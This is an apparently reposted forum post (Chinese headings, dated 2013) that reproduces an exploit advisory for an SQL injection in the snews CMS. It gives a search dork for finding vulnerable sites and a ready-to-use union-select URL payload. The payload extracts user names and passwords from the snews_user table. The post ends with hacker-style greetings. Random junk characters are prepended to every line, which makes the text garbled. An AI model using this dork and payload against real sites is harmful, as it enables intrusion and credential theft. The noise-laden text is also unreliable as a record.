标题: CMS snews SQL Injection Vulnerability
+ a& ]5 p% L8 H; i作者: By onestree
3 q3 J6 K( H5 y" x* S- e0 h/ I$ N下载地址 : http://snewscms.com/
1 j* w" G: b, d) Y3 u7 A测试平台 : ubuntu 12.10 / win 7/ ?, Y/ X* h* g y: K/ {6 X
关键词: inurl:"tanyakan pada rumput yang bergoyang"
+ z1 k6 V1 V9 J6 V
. }, m& Y$ Z3 G( a: B4 b 1 t4 a& \- F) u& U. K( p+ s% x- t
*************************************************************, F% ~; `+ g, R% g0 Q& ?% Z5 P4 N/ S
- T5 ]2 w; ]6 ] u' i" H; y- QSQL poc:
' y; j1 \! k( C: ~* a% ~9 y
2 ~# r; R6 b4 b5 z& H7 B8 R: Z1 vhttp://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]& ^* A8 ^5 Q3 W" d& H
5 r- {& S8 O! n( O6 g
示例
7 m7 Y2 d+ v V1 L2 e, k1 s" n
4 L# a/ s% W p1 ?" @% @& Thttp://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*6 a2 s/ L/ s$ C1 j3 z: G
3 C2 |# }1 C; L/ U0 C, b8 v
. o6 A' d2 M0 ~ A- u' R致谢:" m& A8 _' u$ F
' X# i* X$ K: d* C V& b
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
0 g P) H) Q( ^* R. p0 o
N7 L8 q+ r- o7 ?5 \ indonesiancoder - moeslimh4x0r - go-coder: p$ K5 x% n! x, a; V) e% \$ m
6 t; s1 D: B4 |' v7 b7 A
spesial my hunny :*
3 k8 X Y' v& f6 z& {1 h1 x |
发表于 2013-1-23 08:55:06
收藏
支持
反对